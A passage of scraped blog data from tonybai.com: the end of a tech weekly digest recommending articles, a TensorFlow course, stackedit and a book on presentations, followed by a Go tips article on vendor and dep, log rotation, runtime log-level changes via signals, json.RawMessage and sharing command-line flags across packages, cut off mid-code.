微服务近两年在容器和k8s的赋能下迅速发展，成为架构师口中的“时尚词汇”，每每涉及系统设计，就会首先问是否要做成微服务。一个新事物的出现和发展，有人唱好，自然就会有人看衰。这不，“2018，微服务将结束疯狂”这篇文章就是给“微服务”泼冷水降温的！文章从微服务架构对开发者、运维人员、devops的影响、需要专家级技能、真实世界系统边界模糊、状态复杂性、通信复杂性、版本管理、分布式事务等方面探讨了微服务的劣势，并给出了一个问题列表，建议大家在决定采用微服务之前，用这些问题问问自己，以避免陷入“微服务”泥潭中去。\n文章链接：《The Death of microservice madness in 2018》\n5. 2017 Google Brain Team的总结 by Jeff Dean 在人工智能的工程领域，Google大神Jeff Dean领导的Brain Team具有举足轻重的地位，也可以说是世界上最好的人工智能实践和研究团队之一了。在2018年伊始，Jeff Dean代表Google Brain Team撰文对团队在2017年的工作及成果进行了总结：包括AutoML、语言理解、机器学习算法、机器学习系统等核心研究工作，以及开源软件Tensorflow、数据集和新的机器学习硬件TPU等方面的最新进展。 对非人工智能领域而言，文章中满满的都是“黑科技”啊，能真正看懂文章中这些内容的朋友你一定也是人工智能领域的大牛了。\n图：Tensorflow用户分布\n文章链接：\n“2017 Google Brain Team的总结- part1″\n“2017 Google Brain Team的总结- part2″\nPart1 中文版\n6. Javascript工作原理 Javascript诞生之后，估计没人想到过js能像今天这么流行：统治了前端，渗透到了后端，并成为后端服务开发的重要技术栈之一。Js语言也十分简单，但外延也很大，你要至少要深入理解浏览器原理才能更好地发挥JS的威力。sessionstack公司官方blog曾发表了几篇有关Javascript工作原理的文章，可以系统地帮助Javascript了解Js的运行机制。\n文章链接：\nJavascript工作原理: 引擎、运行时与调用栈\nJavascript工作原理: V8引擎和优化技巧\nJavascript工作原理: 内存管理与避免内存泄露的技巧\nJavascript工作原理: event loop与async编程\n二、一周资料分享 1. 斯坦福大学面向Tensorflow深度学习研究课程 欧美一流大学在计算机技术方面的“与时俱进”的能力与速度真的是十分值得我们学习和借鉴的，尤其是斯坦福这样靠近硅谷的大学，其技术课程更新的速度非常快。Tensorflow于2015年末开源，2017年2月正式发布1.0版本。斯坦福大学在2017年就开了一门新课：“CS 20SI: Tensorflow for Deep Learning Research”，教授学生如何使用Tensorflow进行深度学习研究。\n这门课程涵盖了用于深入学习研究的Tensorflow基本原理和使用用法。 目标是帮助学生们理解TensorFlow的graphical computational model，探索它提供的各种功能，并学习如何构建最适合深度学习项目的模型。 课程中学生将使用TensorFlow建立不同复杂度的模型，从简单的线性/逻辑回归到卷积神经网络和递归神经网络，解决词嵌入，单词翻译，光学字符识别，强化学习等任务。 学生还将学习到构建模型和研究实验管理的最佳实践。\n资料链接：\nCS 20SI: Tensorflow for Deep Learning Research 课程主页\nCS 20SI: Tensorflow for Deep Learning Research 2017课程归档\n三、一周工具推荐 1. stackedit 自从我的博客转到使用Markdown格式进行编辑后，我就一直使用stackedit提供的在线所见即所得的Markdown编辑器进行内容的编辑。最初的stackedit v4表现的还不强大，随着stackedit v5在线版本的推出，stackedit已经可以满足绝大多数Markdown编辑的功能需求了。\n支持在线/离线管理多个markdown文件 支持多种文件格式导出，包括HTML、PDF、WORD、EPUB 支持文件的云同步，支持Google Drive, Dropbox等主流云存储系统 支持将Markdown直接上传到Blogger/Blogspot, WordPress, Zendesk 支持将Markdown直接发布到GitHub, Gist, Google Drive, Dropbox\n… … 更难得的是stackedit还是一个受关注度极高的开源项目(stars over 1w)，你可以自己本地部署一个专用的stackedit。\n工具链接：stackedit.io\n工具开源项目链接：stackedit\n四、一周图书推荐 1.《演讲模式：演讲的技巧与禁忌》 技术人升级到一定level后，可能少不了要做些演讲、做些培训之类的活动。但对多数技术人而言，演讲这事并不是“舒适区”范围内。市面上有关介绍演讲技巧方面的书可谓是“汗牛充栋”，但这Neal Ford领衔编写的这本书《演讲模式》却独具特色。Neal Ford是Thoughtworks的大神，其他两位作者也是IT圈中的牛人。与其他作者相比，他们更熟悉IT技术人的思维方式，他们也以IT人独特的思维方式，创造性地将建筑和软件开发领域“模式”的概念引入演讲领域，围绕演讲的全过程总结了能迅速有效提升演讲技能的88个模式（应该掌握的技巧）和反模式（应该避免的不好的做法）。对于IT人而言，“模式”这词再熟悉不过了，因此这本书更像是IT技术人员间地手把手地传道解惑。\n图书链接：\n中文版：《演讲模式：演讲的技巧与禁忌》\n英文版：《Presentation Patterns: Techniques for Crafting Better Presentations》\n我的联系方式：\n微博：http://weibo.com/bigwhite20xx\n微信公众号：iamtonybai\n博客：tonybai.com\ngithub: https://github.com/bigwhite\n微信赞赏：\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2018/01/14/5th-issue-of-the-tech-weekly-carefully-chosen-by-tonybai/","summary":"\u003cp\u003e本文是首发于\u003ca href=\"https://mp.weixin.qq.com/mp/qrcode?scene=10000005\u0026amp;size=102\u0026amp;__biz=MzIyNzM0MDk0Mg==\u0026amp;mid=2247483848\u0026amp;idx=1\u0026amp;sn=a3cd9182a2b2d3716623cc2c43d59f37\u0026amp;send_time=\"\u003e个人微信公众号\u003c/a\u003e的文章**“TB一周萃选[第5期]”**的归档。\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"Image 1: img{512x368}\" loading=\"lazy\" src=\"/images/wp-content/uploads/weekly-issues/5th-issue/front-cover-snow.jpg\"\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e人生十鉴\u003c/p\u003e\n\u003cp\u003e大喜易失言\u003cbr\u003e\n大怒易失礼\u003cbr\u003e\n大惊易失态\u003cbr\u003e\n大哀易失颜\u003cbr\u003e\n大乐易失察\u003cbr\u003e\n大惧易失节\u003cbr\u003e\n大思易失爱\u003cbr\u003e\n大醉易失德\u003cbr\u003e\n大话易失信\u003cbr\u003e\n大欲易失命\u003c/p\u003e","title":"TB一周萃选[第5期]"},{"content":"程序员步入“大龄”，写代码的节奏也会受到影响。以前是长时间持续地写，现在写代码的节奏变成了“波浪形”：即写一段时间，歇一段时间。当然这里的“歇”并不是真的歇，而是做其他事情了，比如：回顾、整理与总结。\n平时写Go代码，时不时就遇到一些问题，或是写出一些让自己还算满意的代码，这里全部列为“问题”行列。这些“问题”(以及其解决方法)往往比较“小”、比较“碎片”，不适合以自己“擅长”的“长篇”风格写出来分享，也不知道以什么样的“题目”去分享更好，但这样的“问题”在日常又总是会遇到。考量来考量去，赶脚还是用一系列的文章去分享比较合适，即每隔一段时间，积累了一些问题后，就写一篇文章分享一下。\n这是第一篇，后续不确定时间地(注意：这不是weekly的哦)发布新篇，直到没啥可写了或不写Go代码了^0^。\n一、Go包管理 首当其冲的是Go包管理。\n1. vendor的“传染性”带来的问题 Go从1.5版本开始引入vendor机制以辅助Go的包管理。随着vendor机制的应用日益广泛，我们会发现：有些时候你要是不用vendor（在不借助第三方包管理工具的前提下），很多编译问题是解决不了的，或者说vendor机制有一定的传染性。比如下面这个例子：\n如上图所示：app_c包直接调用lib_a包中函数，并使用了lib_b包(v0.2版本)中的类型，lib_a包vendor了lib_b包(v0.1版本)。在这样的情况下，当我们编译app_c包时，是否会出现什么问题呢？我们一起来看一下这个例子：\n在$GOPATH/src路径下面我们查看当前示例的目录结构： $tree ├── app_c ├── c.go ├── lib_a ├── a.go └── vendor └── lib_b └── b.go ├── lib_b ├── b.go 各个源文件的示例代码如下：\n//lib_a/a.go package lib_a import \u0026quot;lib_b\u0026quot; func Foo(b lib_b.B) { b.Do() } //lib_a/vendor/lib_b/b.go package lib_b import \u0026quot;fmt\u0026quot; type B struct { } func (*B) Do() { fmt.Println(\u0026quot;lib_b version:v0.1\u0026quot;) } // lib_b/b.go package lib_b import \u0026quot;fmt\u0026quot; type B struct { } func (*B) Do() { fmt.Println(\u0026quot;lib_b version:v0.2\u0026quot;) } // app_c/c.go package app_c import ( \u0026quot;lib_a\u0026quot; \u0026quot;lib_b\u0026quot; ) func main() { var b lib_b.B lib_a.Foo(b) } 进入app_c目录，执行编译命令：\n$go build c.go # command-line-arguments ./c.go:10:11: cannot use b (type \u0026quot;lib_b\u0026quot;.B) as type \u0026quot;lib_a/vendor/lib_b\u0026quot;.B in argument to lib_a.Foo 我们看到go compiler认为：app_c包main函数中定义的变量b的类型(lib_b.B)与lib_a.Foo的参数b的类型(lib_a/vendor/lib_b.B)是不同的类型，不能相互赋值。\n2. 通过手工vendor解决上述问题 这个例子非常有代表性，那么怎么解决这个问题呢？我们需要在app_c中也使用vendor机制，即将app_c所需的lib_a和lib_b都vendor到app_c中。\n按照上述思路解决后的示例的目录结构： $tree ├── app_c ├── c.go └── vendor ├── lib_a │ └── a.go └── lib_b └── b.go ├── lib_a ├── a.go └── vendor └── lib_b └── b.go ├── lib_b ├── b.go 不过要注意的是：app_c/vendor下面的库中的vendor目录要被删除掉的，我们只保留顶层vendor。现在我们再来编译c.go就可以顺利编译通过了。\n3. 使用dep 对于demo或规模不大、依赖不多的小项目，手工进行vendor还是蛮有效的。一个可行的手工vendor步骤：\n在项目顶层创建vendor； 通过go list -json ./…查看项目依赖 “deps”; 逐一下载各个依赖，并确定要使用的版本(tag or branch)，将特定版本cp到顶层的vendor目录下，至少要做到vendor所有直接依赖包； 可以在顶层vendor下创建dependencies.list文件，手工记录vendor的依赖包列表以及版本信息。 但是对于稍大一点的项目，手工vendor就会费时费力，有时仅能顾及到“直接依赖包”的vendor，“数不清”的间接依赖/传递依赖会让你头疼不已。这个时候我们会想到使用第三方的包管理工具。在现在这个时间点，如果你再和我提godep、glide等，那你就out了，dep是首选。\n在《初窥dep》一文中，我们对当时的dep进行了较为详细的工作机制分析，如今dep已经演化到0.3.2版本了，并且commandline交互接口已经稳定了。dep init默认采用network mode，即到各个依赖包的upstream上查找版本信息并下载；dep init也支持-gopath模式，即在本地$GOPATH下获取依赖包的元信息并分析。\n不过，对于在国内的gopher，dep init的过程依然是一道很难逾越的“坎”。问题多出在：第三方包特别喜欢依赖的golang.org/x下的那些包，常见的包有：net、text、crypto等。golang.org/x/{package_name}仅仅是canonical import path，真正的代码存储在go.googlesource.com上，而在国内get这些包，我们会得到如下错误：\n$go get -u golang.org/x/net package golang.org/x/net: unrecognized import path \u0026quot;golang.org/x/net\u0026quot; (https fetch: Get https://golang.org/x/net?go-get=1: dial tcp 216.239.37.1:443: i/o timeout) 这将导致dep init命令长期阻塞，给国内gopher带来极为糟糕的体验。更为糟糕的是，即便是采用了一些fan qiang方式，有些时候go.googlesource.com依旧无法连接。因此，我一般的作法是在国外的主机上进行dep init，然后将vendor checkin到代码仓库中。这样其他人在得到你的代码后，也不需dep ensure(也要下载依赖包)即可实现reproducable build。\n有些朋友可能会将从github.com/golang上下载的net包来代替golang.org/x/net，并使用dep init -v -gopath=true的模式。但这种替换会被dep分析出来，因为dep会尝试去读取代码库的元信息，结果依然会是失败。\n二. 非容器化应用的本地日志管理 在微服务、容器化大行其道的今天，单个应用的日志处理变得简单化了，应用只需要将要输出的信息输出到stdout、stderr上即可。logging基础设施会收集容器日志，并做后续归档、分析、过滤、查找、展示等处理。但是在非容器环境、在没有统一的logging基础设施的前提下，日志的管理就又交还给应用自身了。浅显的日志管理至少要包含日志的rotate(轮转)、压缩归档以及历史归档文件的处理吧。这里我们就来探讨一下这个问题的几种解决方法。\n1. 托管给logrotate 在主流的Linux发行版上都有一个logrotate工具程序，应用程序可以借助该工具对应用输出的日志进行rotate、压缩、归档和删除历史归档日志，这样可大幅简化应用的日志输出逻辑，应用仅需要将日志输出到一个具名文件中即可，其余都交给logrotate处理。\n我们建立一个输出log的demo app:\n//testlogrotate.go package main import ( \u0026quot;log\u0026quot; \u0026quot;os\u0026quot; \u0026quot;time\u0026quot; ) func main() { file, err := os.OpenFile(\u0026quot;./app.log\u0026quot;, os.O_CREATE|os.O_WRONLY|os.O_APPEND, 0666) if err != nil { log.Fatalln(\u0026quot;Failed to open log file:\u0026quot;, err) } defer file.Close() logger := log.New(file, \u0026quot;APP_LOG_PREFIX: \u0026quot;, log.Ldate|log.Ltime|log.Lshortfile) for { logger.Println(\u0026quot;test log\u0026quot;) time.Sleep(time.Second * 1) } } 该程序每隔1s向app.log文件写入一行日志。\n# tail -f app.log APP_LOG_PREFIX: 2018/01/12 19:14:43 testlogrotate.go:22: test log APP_LOG_PREFIX: 2018/01/12 19:14:44 testlogrotate.go:22: test log APP_LOG_PREFIX: 2018/01/12 19:14:45 testlogrotate.go:22: test log APP_LOG_PREFIX: 2018/01/12 19:14:46 testlogrotate.go:22: test log APP_LOG_PREFIX: 2018/01/12 19:14:47 testlogrotate.go:22: test log ... .. 接下来，我们就要用logrotate对该app.log文件进行定期的rotate、压缩归档以及历史归档清理了，我们需要为app.log定制一个配置。logrotate读取配置的目录是/etc/logrotate.d，我们在/etc/logrotate.d下面建立applog文件(当然你也可以在任意其他目录下建立配置文件，不过其他目录下的配置文件无法被logrotate的cron任务感知到，不过这样的配置文件可以手工与logrotate程序结合使用)，文件内容如下：\n# cat /etc/logrotate.d/applog /data/tonybai/test/go/app.log { rotate 7 daily size=10M compress dateext missingok copytruncate } 这个配置的大致含义是：\n* 每天rotate一次\n* 日志保留7天(rotate=7, daily rotate)\n* 归档日志采用压缩形式\n* 归档日志带有时间戳\n* 当当前日志size \u0026gt; 10M时，会进行一次rotate\n* 最重要的是copytruncate这个配置，这个配置的含义是将app.log当前日志copy到一个归档文件后，对app.log进行truncate操作，这样app.log的open file fd并不改变，不会影响到原app继续写日志。当然这个copy的过程中可能会有少量日志lost。\n如果你觉得logrotate在时间粒度和精确度上依旧无法满足你的要求，你可以结合crontab自己定时执行logrotate(crontab -e编辑crontab的配置)：\n# logrotate -f /etc/logrotate.d/applog 下面是rotate时，tail -f中看到的情况：\nAPP_LOG_PREFIX: 2018/01/12 20:25:59 testlogrotate.go:21: test log APP_LOG_PREFIX: 2018/01/12 20:26:00 testlogrotate.go:21: test log tail: app.log: file truncated APP_LOG_PREFIX: 2018/01/12 20:26:01 testlogrotate.go:21: test log APP_LOG_PREFIX: 2018/01/12 20:26:02 testlogrotate.go:21: test log APP_LOG_PREFIX: 2018/01/12 20:26:03 testlogrotate.go:21: test log 可以看到tail可以检测到file truncate事件。\n2. 使用自带rotate功能log包 在go技术栈中众多的logging包中，logrus是使用较为广泛的一个包，支持与std库 log API兼容的结构化日志、支持logging level设置、支持安全地并发写日志以及hook等。但logrus自身并不具备auto rotate功能，需要结合其他工具才能实现。这里用nate finch的lumberjack，我们来看一个简单的例子：\n// testlogrusAndlumberjack.go package main import ( \u0026quot;time\u0026quot; \u0026quot;github.com/natefinch/lumberjack\u0026quot; log \u0026quot;github.com/sirupsen/logrus\u0026quot; ) func main() { logger := log.New() logger.SetLevel(log.DebugLevel) logger.Formatter = \u0026amp;log.JSONFormatter{} logger.Out = \u0026amp;lumberjack.Logger{ Filename: \u0026quot;./app.log\u0026quot;, MaxSize: 1, // megabytes MaxBackups: 3, MaxAge: 1, //days Compress: true, // disabled by default LocalTime: true, } for { logger.Debug(\u0026quot;this is an app log\u0026quot;) time.Sleep(2 * time.Millisecond) } } 从代码里，我们看到：通过设置logger.Out为一个lumberjack.Logger的实例，将真正的Write交给了lumberjack.Logger，而后者实现了log的rotate功能，与logrotate的配置有些类似，这里也包括日志最大size设定、保留几个归档日志、是否压缩、最多保留几天的日志。不过当前lumberjack实现的rotate判断条件仅有一个：MaxSize，而没有定时rotate的功能。\n我们执行一下该程序，等待一会，并停止程序。可以看到目录下的日志文件发生了变化：\n$ls -lh -rw-r--r-- 1 tony staff 3.7K Jan 12 21:03 app-2018-01-12T21-03-42.844.log.gz -rw-r--r-- 1 tony staff 3.7K Jan 12 21:04 app-2018-01-12T21-04-15.017.log.gz -rw-r--r-- 1 tony staff 457K Jan 12 21:04 app.log lumberjack每发现app.log大于MaxSize就会rotate一次，这里已经有了两个归档压缩文件，并被lumberjack赋予了时间戳和序号，便于检索和查看。\n3. 关于对日志level的支持以及loglevel的热更新 对日志level的支持是logging包选项的一个重要参考要素。logrus支持设置六个log level：\nPanicLevel FatalLevel ErrorLevel WarnLevel InfoLevel DebugLevel 并且对不同的leve的日志，logrus支持设定hook分别处理，比如：放到不同的日志文件中。通过logrus.Logger.SetLevel方法可以运行时更新logger实例的loglevel，这个特性可以让我们在生产环境上通过临时打开debuglevel日志对程序进行更细致的观察，以定位问题，快速定位bug，非常实用。\n结合系统Signal机制，我们可以通过USR1和USR2两个signal来运行时调整程序的日志级别，我们来看一个示例：\n从上面图片可以看到，日志级别从高到低分别为：Panic, Fatal, Error, Warn，Info和Debug。如果要调高log level，我们向程序发送USR1来调高日志级别，相反，发送USR2来调低日志级别：\n我们在testlogrusAndlumberjack.go上面做些修改：增加对signal: USR1和USR2的监听处理，同时循环打印各种级别日志，以后续验证日志级别的动态调整：\n// testloglevelupdate.go import ( log \u0026quot;github.com/sirupsen/logrus\u0026quot; ... ... ) func main() { logger := log.New() logger.SetLevel(log.DebugLevel) logger.Formatter = \u0026amp;log.JSONFormatter{} logger.Out = \u0026amp;lumberjack.Logger{ Filename: \u0026quot;./app.log\u0026quot;, MaxSize: 1, // megabytes MaxBackups: 3, MaxAge: 1, //days Compress: true, // disabled by default LocalTime: true, } c := make(chan os.Signal, 1) signal.Notify(c, syscall.SIGUSR1, syscall.SIGUSR2) go watchAndUpdateLoglevel(c, logger) for { logger.Debug(\u0026quot;it is debug level log\u0026quot;) logger.Info(\u0026quot;it is info level log\u0026quot;) logger.Warn(\u0026quot;it is warning level log\u0026quot;) logger.Error(\u0026quot;it is warning level log\u0026quot;) time.Sleep(5 * time.Second) } } watchAndUpdateLoglevel函数用于监听程序收到的系统信号，并根据信号类型调整日志级别：\n// testloglevelupdate.go func watchAndUpdateLoglevel(c chan os.Signal, logger *log.Logger) { for { select { case sig := \u0026lt;-c: if sig == syscall.SIGUSR1 { level := logger.Level if level == log.PanicLevel { fmt.Println(\u0026quot;Raise log level: It has been already the most top log level: panic level\u0026quot;) } else { logger.SetLevel(level - 1) fmt.Println(\u0026quot;Raise log level: the current level is\u0026quot;, logger.Level) } } else if sig == syscall.SIGUSR2 { level := logger.Level if level == log.DebugLevel { fmt.Println(\u0026quot;Reduce log level: It has been already the lowest log level: debug level\u0026quot;) } else { logger.SetLevel(level + 1) fmt.Println(\u0026quot;Reduce log level: the current level is\u0026quot;, logger.Level) } } else { fmt.Println(\u0026quot;receive unknown signal:\u0026quot;, sig) } } } } 运行该程序后，你可以通过如下命令向程序发送信号：\n$ kill -s USR1|USR2 程序的进程号 通过日志的输出，可以判断出日志级别调整是否生效，这里就不细说了。\n不过这里还要提一点的是logrus目前对于输出的日志中双引号内的一些字符（比如双引号自身）会做转义处理，即在前面加上“反斜杠”，比如：\n{\u0026quot;level\u0026quot;:\u0026quot;debug\u0026quot;,\u0026quot;msg\u0026quot;:\u0026quot;receive a msg: {\\\u0026quot;id\\\u0026quot;:\\\u0026quot;000002\\\u0026quot;,\\\u0026quot;ip\\\u0026quot;:\\\u0026quot;201.108.111.117\\\u0026quot;}\u0026quot;,\u0026quot;time\u0026quot;:\u0026quot;2018-01-11T20:42:31+08:00\u0026quot;} 这个问题让日志可读性大幅下降，但这个问题似乎尚处于无解状态\n三. json marshal json string时的转义问题 之前写过这样一个function，用于统一marshal内部组件通信的应答消息：\nfunc marshalResponse(code int, msg string, result interface{}) (string, error) { m := map[string]interface{}{ \u0026quot;code\u0026quot;: 0, \u0026quot;msg\u0026quot;: \u0026quot;ok\u0026quot;, \u0026quot;result\u0026quot;: result, } b, err := json.Marshal(\u0026amp;m) if err != nil { return \u0026quot;\u0026quot;, err } return string(b), nil } 不过当result类型为json string时，这个函数的输出带有转义反斜线：\n//testmarshaljsonstring.go ... ... func main() { s, err := marshalResponse(0, \u0026quot;ok\u0026quot;, `{\u0026quot;name\u0026quot;: \u0026quot;tony\u0026quot;, \u0026quot;city\u0026quot;: \u0026quot;shenyang\u0026quot;}`) if err != nil { fmt.Println(\u0026quot;marshal response error:\u0026quot;, err) return } fmt.Println(s) } 运行这个程序输出：\n{\u0026quot;code\u0026quot;:0,\u0026quot;msg\u0026quot;:\u0026quot;ok\u0026quot;,\u0026quot;result\u0026quot;:\u0026quot;{\\\u0026quot;name\\\u0026quot;: \\\u0026quot;tony\\\u0026quot;, \\\u0026quot;city\\\u0026quot;: \\\u0026quot;shenyang\\\u0026quot;}\u0026quot;} 怎么解决掉这个问题呢？json提供了一种RawMessage类型，本质上就是[]byte，我们将json string转换成RawMessage后再传给json.Marshal就可以解决掉这个问题了：\n//testmarshaljsonstring.go func marshalResponse1(code int, msg string, result interface{}) (string, error) { s, ok := result.(string) var m = map[string]interface{}{ \u0026quot;code\u0026quot;: 0, \u0026quot;msg\u0026quot;: \u0026quot;ok\u0026quot;, } if ok { rawData := json.RawMessage(s) m[\u0026quot;result\u0026quot;] = rawData } else { m[\u0026quot;result\u0026quot;] = result } b, err := json.Marshal(\u0026amp;m) if err != nil { return \u0026quot;\u0026quot;, err } return string(b), nil } func main() { s, err = marshalResponse1(0, \u0026quot;ok\u0026quot;, `{\u0026quot;name\u0026quot;: \u0026quot;tony\u0026quot;, \u0026quot;city\u0026quot;: \u0026quot;shenyang\u0026quot;}`) if err != nil { fmt.Println(\u0026quot;marshal response1 error:\u0026quot;, err) return } fmt.Println(s) } 再运行这个程序的输出结果就变成了我们想要的结果了：\n{\u0026quot;code\u0026quot;:0,\u0026quot;msg\u0026quot;:\u0026quot;ok\u0026quot;,\u0026quot;result\u0026quot;:{\u0026quot;name\u0026quot;:\u0026quot;tony\u0026quot;,\u0026quot;city\u0026quot;:\u0026quot;shenyang\u0026quot;}} 四. 如何在main包之外使用flag.Parse后的命令行flag变量 我们在使用Go开发交互界面不是很复杂的command-line应用时，一般都会使用std中的flag包进行命令行flag解析，并在main包中校验和使用flag.Parse后的flag变量。常见的套路是这样的：\n//testflag1.go package main import ( \u0026quot;flag\u0026quot; \u0026quot;fmt\u0026quot; ) var ( endpoints string user string password string ) func init() { flag.StringVar(\u0026amp;endpoints, \u0026quot;endpoints\u0026quot;, \u0026quot;127.0.0.1:2379\u0026quot;, \u0026quot;comma-separated list of etcdv3 endpoints\u0026quot;) flag.StringVar(\u0026amp;user, \u0026quot;user\u0026quot;, \u0026quot;\u0026quot;, \u0026quot;etcdv3 client user\u0026quot;) flag.StringVar(\u0026amp;password, \u0026quot;password\u0026quot;, \u0026quot;\u0026quot;, \u0026quot;etcdv3 client password\u0026quot;) } func usage() { fmt.Println(\u0026quot;flagdemo-app is a daemon application which provides xxx service.\\n\u0026quot;) fmt.Println(\u0026quot;Usage of flagdemo-app:\\n\u0026quot;) fmt.Println(\u0026quot;\\t flagdemo-app [options]\\n\u0026quot;) fmt.Println(\u0026quot;The options are:\\n\u0026quot;) flag.PrintDefaults() } func main() { flag.Usage = usage flag.Parse() // ... ... // 这里我们可以使用endpoints、user、password等flag变量了 } 在这样的一个套路中，我们可以在main包中直接使用flag.Parse后的flag变量了。但有些时候，我们需要在main包之外使用这些flag vars(比如这里的：endpoints、user、password)，怎么做呢，有几种方法，我们逐一来看看。\n1. 全局变量法 我想大部分gopher第一个想法就是使用全局变量，即建立一个config包，包中定义全局变量，并在main中将这些全局变量绑定到flag的Parse中：\n$tree globalvars globalvars ├── config │ └── config.go ├── etcd │ └── etcd.go └── main.go // flag-demo/globalvars/config/config.go package config var ( Endpoints string User string Password string ) // flag-demo/globalvars/etcd/etcd.go package etcd import ( \u0026quot;fmt\u0026quot; \u0026quot;../config\u0026quot; ) func EtcdProxy() { fmt.Println(config.Endpoints, config.User, config.Password) //... .... } // flag-demo/globalvars/main.go package main import ( \u0026quot;flag\u0026quot; \u0026quot;fmt\u0026quot; \u0026quot;time\u0026quot; \u0026quot;./config\u0026quot; \u0026quot;./etcd\u0026quot; ) func init() { flag.StringVar(\u0026amp;config.Endpoints, \u0026quot;endpoints\u0026quot;, \u0026quot;127.0.0.1:2379\u0026quot;, \u0026quot;comma-separated list of etcdv3 endpoints\u0026quot;) flag.StringVar(\u0026amp;config.User, \u0026quot;user\u0026quot;, \u0026quot;\u0026quot;, \u0026quot;etcdv3 client user\u0026quot;) flag.StringVar(\u0026amp;config.Password, \u0026quot;password\u0026quot;, \u0026quot;\u0026quot;, \u0026quot;etcdv3 client password\u0026quot;) } .... ... func main() { flag.Usage = usage flag.Parse() go etcd.EtcdProxy() time.Sleep(5 * time.Second) } 可以看到，我们在绑定cmdline flag时使用的是config包中定义的全局变量。并且在另外一个etcd包中，使用了这些变量。\n我们运行这个程序：\n./main -endpoints 192.168.10.69:2379,10.10.12.36:2378 -user tonybai -password xyz123 192.168.10.69:2379,10.10.12.36:2378 tonybai xyz123 不过这种方法要注意这些全局变量值在Go包初始化过程的顺序，比如：如果在etcd包的init函数中使用这些全局变量，那么你得到的各个变量值将为空值，因为etcd包的init函数在main.init和main.main之前执行，这个时候绑定和Parse都还未执行。\n2. 传参法 第二种比较直接的想法就是将Parse后的flag变量以参数的形式、以某种init的方式传给其他要使用这些变量的包。\n$tree parampass parampass ├── etcd │ └── etcd.go └── main.go // flag-demo/parampass/etcd/etcd.go package etcd ... ... func EtcdProxy(endpoints, user, password string) { fmt.Println(endpoints, user, password) } // flag-demo/parampass/main.go package main import ( \u0026quot;flag\u0026quot; \u0026quot;fmt\u0026quot; \u0026quot;time\u0026quot; \u0026quot;./etcd\u0026quot; ) var ( endpoints string user string password string ) func init() { flag.StringVar(\u0026amp;endpoints, \u0026quot;endpoints\u0026quot;, \u0026quot;127.0.0.1:2379\u0026quot;, \u0026quot;comma-separated list of etcdv3 endpoints\u0026quot;) flag.StringVar(\u0026amp;user, \u0026quot;user\u0026quot;, \u0026quot;\u0026quot;, \u0026quot;etcdv3 client user\u0026quot;) flag.StringVar(\u0026amp;password, \u0026quot;password\u0026quot;, \u0026quot;\u0026quot;, \u0026quot;etcdv3 client password\u0026quot;) } ... ... func main() { flag.Usage = usage flag.Parse() go etcd.EtcdProxy(endpoints, user, password) time.Sleep(5 * time.Second) } 这种方法非常直观，这里就不解释了。但注意：一旦使用这种方式，一定需要在main包与另外的包之间建立某种依赖关系，至少main包会import那些使用flag变量的包。\n3. 配置中心法 全局变量法直观，而且一定程度上解除了其他包与main包的耦合。但是有一个问题，那就是一旦flag变量发生增减，config包就得相应添加或删除变量定义。是否有一种方案可以在flag变量发生变化时，config包不受影响呢？我们可以用配置中心法。所谓的配置中心法，就是实现一个与flag变量类型和值无关的通过配置存储结构，我们在main包中向该结构注入parse后的flag变量，在其他需要flag变量的包中，我们使用该结构得到flag变量的值。\n$tree configcenter configcenter ├── config │ └── config.go └── main.go //flag-demo/configcenter/config/config.go package config import ( \u0026quot;log\u0026quot; \u0026quot;sync\u0026quot; ) var ( m map[string]interface{} mu sync.RWMutex ) func init() { m = make(map[string]interface{}, 10) } func SetString(k, v string) { mu.Lock() m[k] = v mu.Unlock() } func SetInt(k string, i int) { mu.Lock() m[k] = i mu.Unlock() } func GetString(key string) string { mu.RLock() defer mu.RUnlock() v, ok := m[key] if !ok { return \u0026quot;\u0026quot; } return v.(string) } func GetInt(key string) int { mu.RLock() defer mu.RUnlock() v, ok := m[key] if !ok { return 0 } return v.(int) } func Dump() { log.Println(m) } // flag-demo/configcenter/main.go package main import ( \u0026quot;flag\u0026quot; \u0026quot;fmt\u0026quot; \u0026quot;time\u0026quot; \u0026quot;./config\u0026quot; ) var ( endpoints string user string password string ) func init() { flag.StringVar(\u0026amp;endpoints, \u0026quot;endpoints\u0026quot;, \u0026quot;127.0.0.1:2379\u0026quot;, \u0026quot;comma-separated list of etcdv3 endpoints\u0026quot;) flag.StringVar(\u0026amp;user, \u0026quot;user\u0026quot;, \u0026quot;\u0026quot;, \u0026quot;etcdv3 client user\u0026quot;) flag.StringVar(\u0026amp;password, \u0026quot;password\u0026quot;, \u0026quot;\u0026quot;, \u0026quot;etcdv3 client password\u0026quot;) } ... ... func main() { flag.Usage = usage flag.Parse() // inject flag vars to config center config.SetString(\u0026quot;endpoints\u0026quot;, endpoints) config.SetString(\u0026quot;user\u0026quot;, user) config.SetString(\u0026quot;password\u0026quot;, password) time.Sleep(5 * time.Second) } 我们在main中使用config的SetString将flag vars注入配置中心。之后，我们在其他包中就可以使用：GetString、GetInt获取这些变量值了，这里就不举例了。\n4、“黑魔法”: flag.Lookup flag包中提供了一种类似上述的”配置中心”的机制，但这种机制不需要我们显示注入“flag vars”了，我们只需按照flag提供的方法在其他package中读取对应flag变量的值即可。\n$tree flaglookup flaglookup ├── etcd │ └── etcd.go └── main.go // flag-demo/flaglookup/main.go package main import ( \u0026quot;flag\u0026quot; \u0026quot;fmt\u0026quot; \u0026quot;time\u0026quot; \u0026quot;./etcd\u0026quot; ) var ( endpoints string user string password string ) func init() { flag.StringVar(\u0026amp;endpoints, \u0026quot;endpoints\u0026quot;, \u0026quot;127.0.0.1:2379\u0026quot;, \u0026quot;comma-separated list of etcdv3 endpoints\u0026quot;) flag.StringVar(\u0026amp;user, \u0026quot;user\u0026quot;, \u0026quot;\u0026quot;, \u0026quot;etcdv3 client user\u0026quot;) flag.StringVar(\u0026amp;password, \u0026quot;password\u0026quot;, \u0026quot;\u0026quot;, \u0026quot;etcdv3 client password\u0026quot;) } ...... func main() { flag.Usage = usage flag.Parse() go etcd.EtcdProxy() time.Sleep(5 * time.Second) } // flag-demo/flaglookup/etcd/etcd.go package etcd import ( \u0026quot;flag\u0026quot; \u0026quot;fmt\u0026quot; ) func EtcdProxy() { endpoints := flag.Lookup(\u0026quot;endpoints\u0026quot;).Value.(flag.Getter).Get().(string) user := flag.Lookup(\u0026quot;user\u0026quot;).Value.(flag.Getter).Get().(string) password := flag.Lookup(\u0026quot;password\u0026quot;).Value.(flag.Getter).Get().(string) 